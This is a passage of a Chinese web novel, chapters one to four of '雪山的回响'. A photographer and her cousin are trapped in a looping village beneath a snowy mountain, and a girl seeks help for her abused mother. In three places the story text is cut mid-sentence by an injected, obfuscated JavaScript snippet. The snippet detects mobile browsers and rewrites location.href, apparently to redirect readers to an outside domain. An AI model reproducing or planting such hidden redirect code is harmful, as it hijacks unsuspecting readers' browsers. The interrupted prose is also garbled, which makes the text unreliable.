《雪山的回响》 1. 第一章 临歧镇有座雪山,山巅常年覆雪,巍峨耸立于天地之间。遥遥望去,经年不化的白雪与云端几乎融为一体,相缠相绕。 雪山无名,却多有传闻。什么神明现世、镇山之宝,甚至还有生魂祭祀的说法,此类传说数不胜数。曾有许多视频平台的博主来打卡探险,有人吃流量赚得盆满钵满,有人闹出了莫名失踪的恐怖噱头,虽然最后被证实为自导自演,但还是为雪山添了层诡秘色彩。 眼下,岑桉可提不起赏景的兴趣。 就在半个多小时前,预约她到雪山拍摄的甲方老板给她发来消息,说是临时有事,想要推迟到明天再拍。 岑桉是个自由摄影师,有个人的摄影账号,人物风景什么都拍,还挂着外景跟拍和棚拍的接单。粉丝量不算大,也就四位数,胜在口碑不错,勉强能混口饭吃。 这位老板是两天前下的加急单,说是想来雪山下拍组单人照,特意付了三倍定金,还承诺价钱翻番。 干这一行,除了正常排期外,其他单子里给钱多的就是大爷,岑桉二话没说就接了下来,连夜定好了临歧的车票。 可惜高铁信号太差,一路上手机都像块废铁,直到到达目的地,岑桉才看到老板放鸽子的消息。还没来得及烦躁,手机又嗡了两声。 【曙】:平台转账:你有一笔待接收的转账 【曙】:抱歉,明天一定准时到。 嘶。 好像……也不是不能接受了。 “咋了姐,单主到底来不来了?”程杉热得拿反光板给自己扇风,“她要是不来,咱们就这么打道回府吗?” “放尊重点,什么单主,叫金主!”岑桉捧起手机贴了贴脸,亲热得像是见了单主本人,“想吃点什么?姐请客。” 程杉:? 他就说,女人的变脸速度比翻书还快,谁能读得懂啊。 “有辣条吗?我想吃辣条了。”他诚恳道。 岑桉:“……” 她其实更想吃老妈炖的萝卜汤。 一个赛一个的没出息。 虽说有钱不赚王八蛋,岑桉心里头还是有点打怵。手机信号慢得像老大爷散步,好不容易加载出酒店查询的界面,才发现这荒地儿不能说前不着村,但确实是后不着店。 既没有酒店,也没有餐饮,连点个外卖都不在配送范围内。 这偏乡僻壤的,有雪山加持也没发展起旅游业。 一条蜿蜒小道直通尽头,路边只立着一块简陋的铁牌,上头是“荀家村”三个大字,还有一红色的粗箭头。 最后还是程杉一拍脑门决定就在村落借住。 “权当体验生活了嘛。” 体验你个头。 岑桉第三次后悔起自个儿一时心软答应了小姨的请求。 第一次是在上高铁前看到表弟的两个大行李箱。 第二次是他在车上心血来潮给她讲了个关于雪山的鬼故事。 第三次就是现在。 原本岑桉是打算一个人来的,结果小姨听说后,直接把自家刚高考完的臭小子打包送了过来,美其名曰让她带着表弟多见见世面,遇到什么麻烦有个男的也好撑腰。 说白了,小姨就是嫌这么大一个闲人在家里呆着碍眼。 岑桉本人对“撑腰”这个说法颇有微词,但对于白送上门的劳动力也没道理拒收,再加上小姨友情赞助了两人的出行费用,这才有这这趟双人行程。 虽然在高铁上及时打断了程杉的鬼故事,但岑桉心里到底是埋下了畏缩的种子。 其实她以前多少也听过些雪山传说,再加上来之前特意做了功课,什么殉情的爱人、走失的旅客、赎罪的信徒,说得有鼻子有眼,跟真事似的,心里总有些发毛。 单说在这人生地不熟的村落住上一宿,都有违她蠢蠢欲动的警惕心,但岑桉还是败在程杉拍着胸脯的保证声里。 “放心吧姐,我打头阵,真碰上事儿了你先跑,我殿后!” 行吧。 他有这份心就行。 “殿什么后。你好好跟着我,有事随时报备,别一个人瞎跑。” 岑桉敲了敲他的头。 * 荀家村坐落在雪山脚下,站在虚掩的大门口放眼望去,看不到一个人影,整个村庄鸦雀无声。 进门后没走多远,第一栋平房的门边就挂着个“村长”的牌子,老村长对岑桉姐弟热情得很,叽里咕噜说了一串鸟语。 他发现两人听不懂当地方言,急得胡子都揪下来几根,临时拉来隔壁的小女孩救急。 荀小妹长得瘦瘦小小的,看着也就七八岁的样子。 老村长又是一顿叽里呱啦,手上都要比划出火星来了,荀小妹才细声细语地给二人翻译:“他说欢迎你们来。” 岑桉嘴角微微抽搐了下。 程杉直接大咧咧问出了她的心声:“他比划那么长一串,就这?” “……”荀小妹沉默了下,点点头,“嗯,就这。” 一边听了全程的婶子赔着笑:“别听这丫头胡说,村长是说,他屋里有个空窝(房),里头有张上下床,硬板铺了稻草,不嫌弃可以住那儿,就是不知道你们城里人睡不睡得。” 婶子普通话说得蹩脚,还夹杂着两句俚语,但大概意思岑桉听得明白。 情况倒是比想象中好得多,甚至还不用打地铺,岑桉很知足:“能有张床睡就已经很感谢了,给你们添麻烦了。” “那好,那好。”婶子干笑了两声,眼神闪烁,垂在身侧的手指捻了两下,“就是吧,村里平时也没个客,谁家几张嘴吃饭都有数,你们这来得突然……” 不用她说完,岑桉就心领神会:“婶子哪里的话,我们也不能白吃白喝啊。” 她冲程杉使了个眼神,憨小子一点没看懂,还傻呵呵地摸着徒有其表的脑袋等着她后话。 现金都在他包里,岑桉只能自己上手掏,结果刚拉开个拉链,婶子就主动递过来亮着二维码的手机。 岑桉扫了码。 “我们就借住一宿,您多费心。” 这破网还挺认主,给村里人付钱的时候倒是转得麻溜,一点不见卡顿的。 “不费心不费心,那我回去给你们做晚上饭,过会儿来吃啊。”婶子这回笑得真切多了,按着荀小妹的肩膀往回走,还不忘冲村长挥挥手,“你们聊哈。” 岑桉和程杉面面相觑。 聊什么,天书吗。 眼见老村长又要咕哩哇啦地开讲了,程杉直接在胸前比了个叉号,指了指地上的行李箱。 就在他琢磨着是不是该意思意思咕噜两声的时候,老村长捋着屈指可数的头发,发出了恍然大悟一声“哦”。 幸好幸好,耳朵保住了。 * 程杉是个坐不住的。 到空屋没新鲜两分钟,程杉扔下行李就把老姐“别瞎跑”的嘱咐忘了个一干二净,撂下一句“我出去看看”就自个儿探险去了,跟脚底抹了油似的。 刚结束考试的男孩就像放出笼的猴儿,连狗都嫌。 岑桉也懒得多管,简单收拾了下床铺,就一屁股坐下刷起了社交平台。 借着时好时坏的网,她艰难地刷新了个人账号 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16143422|180469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 底下的评论,顺手打开不用网络的备忘录,开始根据预约顺序列表排单。 眼看着八月的接单档期都要排满了,岑桉这才百无聊赖地重新翻看和单主的聊天记录。 【曙】:您好 【曙】:接单吗 【曙】:[动画表情:兔子转圈圈] 【曙】:照片都会发到网上吗 【山今(接单中)】:你好,接的,目前排期到七月中旬,这个时间能接受吗? 【山今(接单中)】:这个看个人需求,这边在平台发布的照片都是经过单主允许的哦~ 【曙】:好的好的 【曙】:后天可以吗 【曙】:我有点着急 【曙】:可以加钱的 现在再看对面甩过来的三倍定金,岑桉还是会心动。 要是重回两天前,哪怕明知道会被放鸽子,她依然愿意接下这单,毕竟有钱又好说话的老板实在不多。 天色渐暗,窗外路灯亮起了昏黄的光。 村子似乎有些年头了,外头还是光洁宽敞的大道,进了村脚下踩的全是泥泞小路,有种与世隔绝的滞后感。可能也是担心老人走夜路,放眼望去路灯倒是星罗棋布,数量比人都多。 大概是因为累了一天,岑桉眼皮发沉,恨不得倒头睡上一觉。 也不知道程杉是跑去哪里野了,天都快黑了也没见人影。岑桉也不敢就这么一个人睡,只能强打起精神,一手给他发了条催促的消息,一手打开了房里的灯。 叮—— 随着一声震响,手机屏幕正中间大大的“18:57”下,跳出了一条新短信消息。 【陌生号码】: 1.请确保你的信仰有且只有一个神明。 2.不要靠近雪山底。 …… 这是什么。 雪山怪谈吗。 下面的内容被折叠了,但这两行已经足够让岑桉的心跳错拍。 困意一下子散了个干净,她哆哆嗦嗦地用指纹解了锁,点进信息界面。 【陌生号码】: 1.请确保你的信仰有且只有一个神明。 2.不要靠近雪山底。 3.不要弄脏鞋底。 4.出门记得带伞。 5.睡觉前关好门窗,不要理会任何动静。 6.如果有人在夜晚递给你一盏煤油灯,千万不可收下。 7.当煤油灯亮起时,不要用肉眼长时间注视它,立刻去看不到灯光的地方,哪怕是在白天。 8.如果没有做到第七条,千万不要让煤油灯出现在你的脑海里,不要发散对它的联想,不要默念它的名字。 9.不要想煤油灯,不要想煤油灯,不要想煤油灯。 ……这是什么新型诈骗短信吗? 岑桉甩了甩头,试图把脑子里的煤油灯甩出去,结果怎么甩都起反作用。 她缓缓吐了口气,摁了锁屏键眼不见为净,然而屏幕刚灭就重新亮了起来。 “嗡”的一声,显示程杉来电。 又是“嗡”的一声,显示对方已取消。 呼入未接通,响铃两秒钟。 起风了。 紧闭的窗户发出了刺耳的呜鸣声,屋顶蒙灰的老灯忽闪忽闪,在嘎嘣嘎嘣的声响中随时有罢工的嫌疑。 就在这时,屋门被敲响了。 ——咚、咚、咚。 已经不是心跳错不错拍的问题了,岑桉两眼一闭,满脑子都是奇闻怪谈,感觉自己整个人都快过去了。 ——救、命、啊。 2. 第二章 岑桉不是个坚定的无神论者。 大学时候宿舍夜谈,一姑娘兴致勃勃地关了灯,大家伙围成一圈讲什么志怪异谈。 结果隔壁来敲门借空调遥控器的时候,几人尖叫着弹跳起来抱成一团,屋外的也被吓到了,半晌没声。 那阵带着哭腔的尖叫穿云裂石,胆大的寝室直接探出头来打探消息。 几经好事者添油加醋,这事儿后来沦为了她们整一楼层的笑谈。 六月的天隐隐闷热,岑桉后颈上直冒冷汗。 她本是犯了懒劲儿,没理会窗台上厚厚的灰土,自然也没开窗通风。眼下她无比感谢自己一时的懒惰,无论门外是个什么东西,关紧锁牢的窗给了她莫大的安慰。 她把屋里的器具扫了个遍,没找到锋利的刀具,也没看到趁手的棍棒,只能在门口横一行李箱当作路障,一手攥紧随身带着的防狼喷雾。 “谁啊?”她出口的声音又紧又急,在破音的边缘徘徊。 门外也不应答,自顾自地敲着门。 ——咚、咚、咚。 十数下之后,像是终于失了耐心,敲门声戛然而止,门把手上下扑腾了两下,刺耳的金属声一下一下膈得人心里发麻。 反锁的屋门是岑桉的最后一道保障。 岑桉咽了口唾沫,单手揣兜准备拨打报警电话,手机却毫无征兆地灭了屏。 不、会、吧。 没电了?? 怎么这么会挑时候啊! 钥匙相撞的脆响,锁芯转动的动静,二者加起来都没有岑桉现在的心跳声大。 门,开了。 进来的却是个熟悉的人影:“怎么有人?就你一个,男娃娃呢?”婶子在围裙上抹了把手背的油渍,“饭早做好了,来吃不?” 悬着的心啪嗒一声落到了实处。 原来是人啊。 是人就好,是人就好。 岑桉顾不上自己一退再退的底线,满脑子的恐怖剧情也如潮水退去。 她刚松一口气,冷静下来后忽地想起另一件不对劲的事情:“您哪来的钥匙?” 婶子憨笑了下,一张口却是和村长如出一辙的鸟语,跟语言体统卡壳转换失败似的。 岑桉听得一头雾水,还没来得及问,就见她一抬手关掉了屋里的灯。 四下昏暗,外头的路灯成了唯一的光源,透过窗照了进来,把两人的影子拖得很长。 岑桉起了一身的鸡皮疙瘩,再次扣紧防狼喷雾的瓶身,抬眼却对上婶子直勾勾的目光。 那一双乌黑的眼深不见底,倒映着晦暗的灯光,光影渐渐晕开,一圈一圈荡漾成湍急的漩涡,引诱着迷路的灵魂深入其中。 光渐渐模糊了。 整个世界似乎都在离她而去。 意识像是被一只无形的手掌控,从身体中剥离出来,缓慢地飘到了上空。 岑桉最后能感知到的,只有重若千钧的眼皮,和无力握紧的手指,脑海深处似乎有人在呼唤她的名字。 名字。 她,叫什么来着? 她从哪里来,又要到哪里去? 一切的一切好像都失去了答案,前不见来路,后不见归途。 “安息吧。” 在轻浅的叹息声中,一铝制瓶子哐当落地,咕噜咕噜滚出去很远。 * “姐?” “老姐?” “岑桉!” ——是谁在叫她? 金属瓶滚动的摩擦声还回响在耳畔,岑桉迷迷糊糊地醒过神,一睁眼就是程杉那张大脸:“你终于醒了。头一回见比我睡得还沉的人,怎么叫都叫不醒,我还以为你热中暑了,吓我一跳。” 他絮絮叨叨没完没了,岑桉还有点茫然,仿佛仍在梦里:“这是哪儿?” “姐你睡傻了?”程杉大惊失色,上手摇晃她,“你不是出来工作的吗,给什么单主拍照,咱们都快到了,你咋了啊,是不是做噩梦了,不会中暑了吧?” 他凑上来就要试她额头的温度,岑桉下意识躲了一下:“我没事。” 是噩梦吗? 她环视四周,确实是高铁车厢,不远处走道上躺着瓶罐装可乐,正一口一口往外吐着棕色液体。 程杉顺着她的目光看去:“熊孩子弄洒的,大人没看住。” 岑桉按了按太阳穴,头还昏昏沉沉的:“那可乐罐刚才滚了吗?” “啥?”程杉狐疑地上下打量了她一番,还是乖乖答道,“滚了吧,从前座一路滚到这儿的。” 好像一切都能解释得通,滚动的金属声也有迹可循。 她拿出手机看了眼时间,16:32,没信号,也没有新消息,和单主的沟通停留在一句“下午见”。 ——今天下午恐怕是见不到了。 岑桉没由来冒出了这么个念头。 清点了一应俱全的摄影设备,又确认好防狼喷雾的位置,岑桉瞄了一眼手机100%的电量,心底安稳了不少。 高铁缓缓进站,程杉再三询问她有没有不舒服,得到否定答复后,大包大揽地接过了岑桉的行李箱,又一前一后地背上了两个人的背包,像耍杂技一样单人操控三个行李箱——虽然其中有两个原本就是他自己的。 “我真没事。”岑桉无奈。 她还想再争取一下自己拿行李的机会,手机就连续震了两声。 【曙】:我到啦 【曙】:[位置]利佳超市(临歧镇墟沟路店) 咦? 岑桉说不出现在是什么感受,像是闻着味道找方向的狗忽然迷了路。 虽然朦朦胧胧中感觉哪里不太对劲,但她一时间又想不起来更多细节,也许确是做了个格外真实的噩梦,真实到她误以为自己重生了。 果然,穿越什么的,只是小说里的内容。 她长吁一口气,搜了下导航,切回界面给单主回复。 【山今(接单中)】:好嘞,五点一定准时到! * 16:45分,利佳超市。 荀小妹反复看了几遍那头的回信,这才放下心来,把手机递还给对面的男人:“谢谢你,大哥哥。” 男人想要伸手摸摸她的头顶,又垂手作罢,拿了两盒包装鲜艳的冰激凌结账,拆开后分了荀小妹一盒:“帮我分担一盒吧?拆开就退不了了。” 夏至已过,蝉鸣此起彼伏,一大一小两个人坐在超市前的台阶上,中间隔了一段距离,日光透过树荫的叶隙,印在两人的脸上。 岑桉来时,看到的就是这样的景象。 小女孩穿着件皱皱巴巴的红黑格子短袖,举着冰激凌小口小口抿着,底部化成的液体就用包装盒接着,丝毫不舍得浪费。 男人身材高挑,两条长腿无处安放,委委屈屈地在台阶前交叠蜷起。他穿着件松垮垮的白衬衫,正叼着根木棍出神,一双眼明澈得像江河,只是此刻江面无风江水静。 “这哥们,有点帅啊。”程杉用胳膊肘捣了下岑桉,“他是你那单主吗?” 那男人确实吸睛,但岑桉的目光几乎要黏在小女孩身上了。 顾不得什么单主不单主,岑桉像走马灯似的把最近经历的事、见过的脸都过了一遍,脑袋都快想破了,才不得不承认,眼前这个面善的小女孩她好像只见过一次。 ——还是在噩梦里见的。 这下好了,也不是什么闻味迷路的小狗了,她现在就像站在岔路口,前头不是狗窝而是屠宰场。 “你说,”岑桉的声音颤颤巍巍,“提前报警算报假警吗?” 程杉:? 他顶着脑门上快要实质化的问号,上下打量着认识了十多年的表姐:“我现在就挺想报警的。” 岑桉欲哭无泪。 她不知道该怎么解释,也没法解释,直接百度了这个问题,得到否定答复后,干脆利落地拨了110。 她一套动作行云流水,程杉全程目睹,目瞪口呆。 但很快,更让他三观崩塌的事情发生了。 在岑桉手指触到确认拨号的一瞬间,手机屏幕蓦地暗了下来,像块板砖一样,硬邦邦地躺在她手中,大约得有一分钟才重新亮起。 岑桉不信邪,又试了一次,手机也一式一样地给她重演了一遍什么叫原地装死。 顶着九十多的电量,她真不知道它是怎么好意思灭屏的。 “姐、姐、姐,”程杉磕巴起来,“见、见鬼了啊??” “也、也不能吧,”岑桉被他传染了,“说、说不定是什么磁场影响,要相信科学……吧?” 她自己都信不下去。 但也不能就这么束手就擒吧。 岑桉换着花样往外打电话,从妈妈到小姨再到朋友,程杉有样学样,但无一例外都是黑屏,社交平台更是连消息都发不出去,黑色方块字旁边的红色圆圈像是在嘲笑他们做的无用功。 可是没道理啊。 单主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16143423|180469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能给她发消息,她为什么会发不出去? 有一瞬灵光从岑桉脑海里闪过。 “打扰一下,”是个温和的男声,“需要帮助吗?” 岑桉循声抬头,正对上那两汪江河,恍如春风拂过江面,江水汩汩而流。 她晃了下神,很快就在生存问题的督促下静了心:“请问你是‘曙’吗?” “姐姐你是‘山今’?” 仍坐在台阶上的小女孩忽然弹起。 她三步并作两步,没几下就来到岑桉身前,有些拘谨地捏住衣角:“是我约你来的。” 岑桉向来喜欢客妹【注】,更不必说是这个年纪的小女孩,但这种梦中人成真的感觉实在让她心悸。 梦里婶子管女孩叫小妹,她看上去确实瘦瘦小小的,两个短短的羊角辫乖巧地贴在衣领两侧,手指小心翼翼地揪着衣上的褶皱,试图让衣服看起来平整些。 虽然见到噩梦里的熟人很离奇,但岑桉有个大胆的想法想要一试。 “不好意思,小妹妹,”岑桉蹲下来,“我能不能借一下你的手机?就当着你的面用,或者你帮我操作,就打一个电话。” 小女孩犹豫了下,还是男人把话头接了过去:“用我的吧,你直接打就好。” 这回轮到岑桉犹豫了。 如果荀小妹是约她来此的单主,那这部手机就有联系人的能力,虽然这本该是一部手机的基本用途,但她和程杉的手机显然已经不务正业了。 岑桉原本想借荀小妹的手机报警,再不济能联系到朋友曲线救国也行,但要是换成另一个人的手机…… “小妹用的也是我的手机,”他简直像是住在岑桉心里的蛔虫,“我和她认识,也是这个村子的,不是什么坏人,你放心用。” “好人啊哥,”程杉感动得泪眼汪汪,“没想到这年头当好人也得自证了,哥你看想吃点什么,随便拿,我请!” 吃吃吃,就知道吃。 都这个时候了,不知道他哪来的心情嘴贫。 岑桉不露声色地踹了他一脚,面上却是笑得感激:“那就太感谢了。” 然而事情发展并不像岑桉想象中的顺利。 那男人的手机能够给她发消息,却在她试图联系家人朋友还有警察叔叔时罢工。看着再度黑屏装死的手机,岑桉气不打一处来,焦躁地咬了咬手指。 一根冰棍适时出现在她眼前。 “姐姐你吃。”荀小妹脸蛋涨红,“我是不是让你为难了?” 岑桉很难说半句责怪。 接单摄影本来就是她的工作,谁也预想不到会发生这种奇怪的事情。更何况她现在还搞不清楚状况,既不知噩梦真假,也不知荀小妹在其中扮演着怎样的角色。 不远处,程杉倒是心大,在男人的指导下用湿巾擦起了行李箱。一路拖着箱子走到这里,轮子脏得不像话,箱底也溅上了不少污泥。 岑桉也不指望弟弟能帮上什么,毕竟她连报警的原因都没法跟他说清楚,她只能自己闷着头硬想。甜丝丝的冰棍暂时缓解了她的烦闷,岑桉谢过荀小妹后,盘腿坐在台阶上,开始从头捋起。 如果那不止是一场噩梦,而是真实存在的记忆,那她为什么有重来的机会?重来之后的进程又为何和上次不同? 如果她是被刻意引来,那荀小妹、又或者说是整个荀家村,是在图谋什么呢? 最重要的是,电话为什么会打不出去? 荀小妹能通过这部手机给远在外省的她发消息,她怎么就连个人都联系不上? 明明上回她还接到了程杉的电话,还有一条陌生短信。 ——对了,那条短信。 岑桉噌一下站了起来。 她起势过猛,自己把自己绊了一下。失去平衡的瞬间,岑桉脑袋里最先想到的居然是某女子摔倒被雪糕扎入喉咙的新闻,她两手慌忙拽出口中含着的冰棍,以一种极其诡异的姿势往地上倒去。 倏然间,仿佛有一阵风卷席着清冽的雪扑鼻而来,一只有力的手稳稳地托在了她的后腰。 岑桉刚刚站稳脚跟,还没缓过神,那只手便克制地收了回去。 唯有腰间的余温证明了方才并非她的幻觉,那点暖意和冻手的冰棍形成了鲜明对比。 “抱歉,冒犯了。”男人别过脸去,避开她的目光,“别太担心了,船到桥头自然直。” 日头西斜,没有落下的迹象,他的耳垂却在她的注目下,一点一点染上了霞色。 3. 第三章 再度入村前,岑桉已经调整好了心态。 兵来将挡,水来土掩,最不济也就是时也命也,改变不了的就坦然面对。 但她有点在意那句“船到桥头自然直”。 那是男人同她说的最后一句话,再之后便跟赶时间似的,匆匆同他们道了别。 岑桉确信,无论是在过去的二十多年的时光里,还是那段似梦非梦的记忆中,她都没有见过这张脸。 虽然谈不上惊天地泣鬼神,但他确实也有点姿色,那双眼尤甚,简直长在了她的审美点上。 就是这么一个素未谋面的男人,像是洞悉了岑桉的处境和情绪,出言宽慰了她。 他疑似知情,也没有刻意掩饰,但岑桉想不通他从何而知,更不敢盲目轻信荀家村的任何人。这里从上到下都透着古怪,莫名其妙的鸟语,莫名其妙的人,还有莫名其妙就让她失了力气和意识的手段。 在搞明白一切之前,她能相信的只有程杉——哪怕他一边啃着辣条一边嘶哈斯哈的模样也没多靠得住。 还在超市的时候,岑桉就避开另外两人,捡着要紧的给表弟叮嘱了两句。 她没提那个不知是预知还是亲身体验的梦——毕竟连岑桉自己都没搞清楚,只说让他不要乱跑、不要单独行动、无论对任何人都要有提防之心。 程杉头点得像小鸡啄米,两眼发亮:“姐,你就放心吧,我等这一天好久了——终于要亲身经历怪谈了!你记得帮我多拍两张照片,我要跟郭彬他们好好炫耀!” 岑桉:“……” 第四次后悔,是因为发现表弟还有中二病。 * 荀小妹腼腆怕生,离开熟人后,她两颊的红色就没褪下去过。 她似乎对程杉有点排斥,一直黏在岑桉的身侧,像只叽叽喳喳的小雀,有问必答。 她说大哥哥——也就是那个男人——平时不住在村子里,很久之前就搬去城里了,偶尔才会回来看看。这次也是刚好遇上了,她才借了他的手机,把岑桉请来。 “姐姐,你什么时候开始呀,需要我帮你做些什么吗?”她满脸期待。 岑桉愣了下:“是给你拍照,当然需要你。” “不是给我,是给妈妈,”荀小妹垂下头,“拜托你一定要把照片发出去,救救她。” “啊?”程杉诧异。 他察觉到小女孩的畏怯,一路都没怎么说话,听到这里实在没忍住才发出个音节,反应过来又把后半个音吞了回去。 但荀小妹还是瑟缩了下,贴紧了岑桉:“我听说,网上的人能帮到我妈妈,我也不知道该怎么做,姐姐,我都听你的。” 程杉憋不住了,戳了戳岑桉,眼神仿佛会说话:你来干嘛的?你还能救人? 岑桉更懵,自己就是一半瓶子晃荡的摄影师,怎么还跟帮忙救人搭上边了。 费了好一番功夫,岑桉才从女孩口里弄明白,这孩子是把自己当成了伪装身份、深入调查的记者,误以为“跟拍”代指潜伏跟踪和拍照记录,约她来荀家村是为了把妈妈的经历发到网上寻求帮助。 荀小妹年纪不大,讲起事来倒是很有条理。 “我看过村长爷爷仓库里的书,书上说像妈妈这样好的人,是不会嫁到村里来的,都是被骗了。她识字还会算数,帐也算得快,村长爷爷才说服爸爸让她管村里的超市。” “妈妈会讲好多好多故事,村里的孩子都喜欢她,但是爸爸不喜欢她。爸爸拖着她的头发,把她按在地上打,”荀小妹模仿着爸爸的姿势,脸上露出与年龄不符的难过,“是因为我。” “爸爸说她肚皮没用,只能生女娃,她身上有好多好多伤,都是因为我。” 程杉手忙脚乱地找纸巾给她擦脸。 岑桉没有动,只是蹲坐着与她平视,放轻了声音:“爸爸会打你吗?” 荀小妹倏地睁大眼。 “会。”大颗大颗的眼泪顺着脸颊滑落,她努力挤了个笑出来,语气带着崇拜,“姐姐你好厉害,你一定能救妈妈。” 岑桉笑不出来。 她知道自己没有这个能力,但也做不到置身事外。 程杉早就一把鼻涕一把泪了,好在理智尚存,没有一口把事揽下来。 ——但岑桉很快就明白过来,是自己想错了。 程杉紧拉着她的胳膊不放,不是不想答应,是哭得上气不接下气,连句完整的话都说不出来,憋了半天只嚎出一个掷地有声的“帮”字。 左手一个抽抽噎噎的小女孩,右手一个哭哭啼啼的臭小子,岑桉头都大了。 她自问不是什么恶人,也有同理心,但此情此景她很难像程杉一样,脑子都不动就满口答应。她是名女性,这一点让她在面对许多事情时不多不多一层防备。 “程杉,你有没有想过,如果真的是……”考虑到女孩在场,岑桉把“拐卖”两字用哼声含糊着混了过去,“我该怎么办。” 救人的前提是自保,岑桉没想把自己也搭进去,况且她根本不是什么正牌记者。 她没有在进村前第一时间取消订单,是因为职业道德的约束,但如果真的有危险,她宁肯付违约金也要离开这里。 现在问题的关键是,这个连电话都打不出去的地方,她真的能顺利离开吗? 岑桉顾不得表弟有没有听懂她的话,转身按住荀小妹的肩膀:“小妹妹,这事儿说来话长,总之是个误会。我留下来也帮不上你,不如你带我们出去,我答应你,我走后只要手机恢复功能,会第一时间打电话报警。” 程杉也回了神,迟疑地在两人之间徘徊许久,一咬牙:“姐你先走,我是男的,他们不能把我怎么样。” 岑桉闭了闭眼:“你留下能干什么?” “我留下帮她啊!万一她和她妈妈再被打,我能帮着还手啊,再说有外人在场,她爹肯定会收敛的。” 没被社会浸染过的善良就是纯粹。 岑桉叹了口气,伸手捂住了荀小妹的耳朵。 她说:“程杉,不是只有女性会遭遇拐卖,子宫是器官,心脏肝脏脾脏肾脏也是器官,别把恶意想象得太单薄。” 程杉滞在原地。 “你是我带出来的,要是把你一个人留在这,那我成什么了,小姨那边我也没法交代。你听我的,我们先走,一出去就报警,警察叔叔会管的。” 程杉明显松动了:“可是……” 他话没说完,岑桉就感觉自己的手被推了推,荀小妹仰头看着她,眼里的光黯了许多:“松开我吧姐姐,我给你们带路,趁太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16143424|180469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阳还没下山,路好走。” 岑桉心软了下。 对不起呀。 她在心里默默道歉。 但要是有得选,她不想置身于风险中。 可惜没得选。 像鬼打墙一样,岑桉两人带着沉重的行李,穿过了一个又一个村大门,一次又一次看到了那个画着红色粗箭头的“荀家村”字牌,却总能在走出去后没几步,再次看到冲他们挥手告别的荀小妹。 跟恐怖片镜头简直没有区别。 岑桉觉着自己离屠宰场又近了一步,隐约间好似还看到了下一站,门头招牌赫然是龙飞凤舞的三个大字——狗肉店。 “姐、姐、姐,”程杉再次磕巴,“敢情不是人祸——是天灾啊??” 她叹气。 恐怕也不是天灾。 这得是灵异吧。 落日染红了半边天,云霞层叠。 远处的雪山犹如冠冕加身,绯色霞光映照着无暇雪色,恍若神谕降临。 岑桉记得,这一带多是信仰雪山的。 也许是病急乱投医,她忽然想寄希望于神明。 若雪山有神,她愿向神忏悔,她也许不该轻易踏足这片受雪山庇佑的土地,又也许不该对雪山子民的苦难视而不见。 但她只是个普通人。 她只是图钱接了单摄影,既无意打搅原住民的生活,也无意破坏村落的平和,更不曾亵渎雪山神明。 她安分守己、奉公守法,这些年来,没有在大是大非面前犯过错,没有在求学求财的路上不择手段,甚至没有在网络上骂过人。 她扶过过马路的老奶奶,喂过马路边的流浪猫,参与过线上熊猫守护计划,给偏远地区的女学生捐过卫生巾。 她很幸运,扶人没被讹,喂猫没被咬,助人没被骗,所以她愿意相信这世界上还是美好更多。 但这不代表她忽视了苦难的声音。 她看过无数新闻,敬佩那些泥泞中艰难求生、绽出亭亭花朵的女性,她共情她们的痛苦,为她们的自立自强而骄傲,可当她真的有机会挽救一个深陷泥沼的女性时,她却选择了退却。 她没有勇气在岸边伸手,只有站得很远很远、确保不会被拖下泥潭时,她才敢用长竹竿去够。 也许她有罪。 若雪山有神,在天有知,她愿意入局一试,弥补一时的退却。 可这该是她个人的意志,而不是被强压在此。 她不问神明为何将她扣在这里,不问神明为何不护那对母女,不问这村落到底有什么怪异,也不再想向神明据理力争、自证清白。 她依旧认为,自保才是第一要义,就像救落水者一样。 所以她无罪。 暮色四合,天光渐暗。 岑桉认栽了:“走吧。” “走、走哪儿?” “还能走哪儿,回去。”岑桉上手拎过程杉手边的两个行李箱,把最小的那个剩给了他,“东西拿好,进了这个村可就没有回头路了。” “姐,”程杉又要哭了,这次是吓哭的,“你怎么说得像要英勇就义了啊!” “不是像。” 岑桉头也没回。 她在心里默默补上了后半句:这就是英勇就义。 4. 第四章 荀小妹有点迷茫。 从她有记忆开始,妈妈就一直在挨打。 爸爸喝醉了酒打她,遇到不顺心的事打她,听说小孩们都喜欢她也打她。 书上说,犯错才会挨打,可妈妈什么都没做错。 她会编好看的羊角辫,会梳漂亮的公主头,会哼好听的童谣,会讲好多好多故事。 奶奶生病去世后,家里只剩下他们一家三口,家务活都是妈妈在做,爸爸每天早出晚归,每次见到她都是冷脸。 荀小妹最喜欢爸爸出门在外的这段时间,整个屋里的压抑都会随着爸爸的离开而烟消云散。妈妈会用狗尾巴草给她编小动物,在多种多样的可爱里,她偏爱燕子,妈妈总会笑着点点她的鼻子,夸她有眼光。 